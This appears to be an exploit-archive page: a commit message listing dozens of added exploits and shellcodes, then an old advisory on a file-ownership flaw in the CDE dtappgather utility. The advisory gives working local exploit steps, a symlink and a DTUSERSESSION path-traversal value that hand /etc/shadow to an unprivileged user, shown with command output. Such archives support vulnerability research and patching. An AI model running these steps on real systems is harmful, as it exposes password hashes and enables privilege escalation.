880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
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1.6 KiB
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23 lines
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1.6 KiB
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source: https://www.securityfocus.com/bid/131/info
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Due to improper checking of ownership, the dtappgather utility shipped with the Common Desktop Environment allows arbitrary users to overwrite any file present on the filesystem, regardless of the owner of the file.
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dtappgather uses a directory of permissions 0777 to create temporary files used by each login session. /var/dt/appconfig/appmanager/generic-display-0 is not checked for existence prior to the opening of the file by dtappgather, and as such, if a user were to create a symbolic link from this file to another on the filesystem, the permissions of this file would be changed to 0666.
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An additional bug exists whereby dtappgather blindly uses the contents of the DTUSERSESSION environment variable. By setting this variable to point to a file on the filesystem, its permissions can also be changed. As this command takes place relative to the /var/dt/appconfig directory, a series of '..' are required to establish the root directory, after which any file can be altered.
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% ls -l /etc/shadow
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-r--r--r-- 1 root other 1500 Dec 29 18:21 /etc/shadow
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% ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0
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% dtappgather
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MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File exists
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% ls -l /etc/shadow
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-r-xr-xr-x 1 user users 1500 Dec 29 18:21 /etc/shadow
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---------------------------------------------
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$ id
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uid=6969(foo) gid=666(bar)
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$ ls -l /etc/shadow
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-r-------- 1 root sys 234 Nov 7 1999 /etc/shadow
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$ env DTUSERSESSION=../../../../../../../etc/shadow dtappgather
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$ ls -l /etc/shadow
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-r-xr-xr-x 1 foo bar 234 Nov 7 1999 /etc/shadow |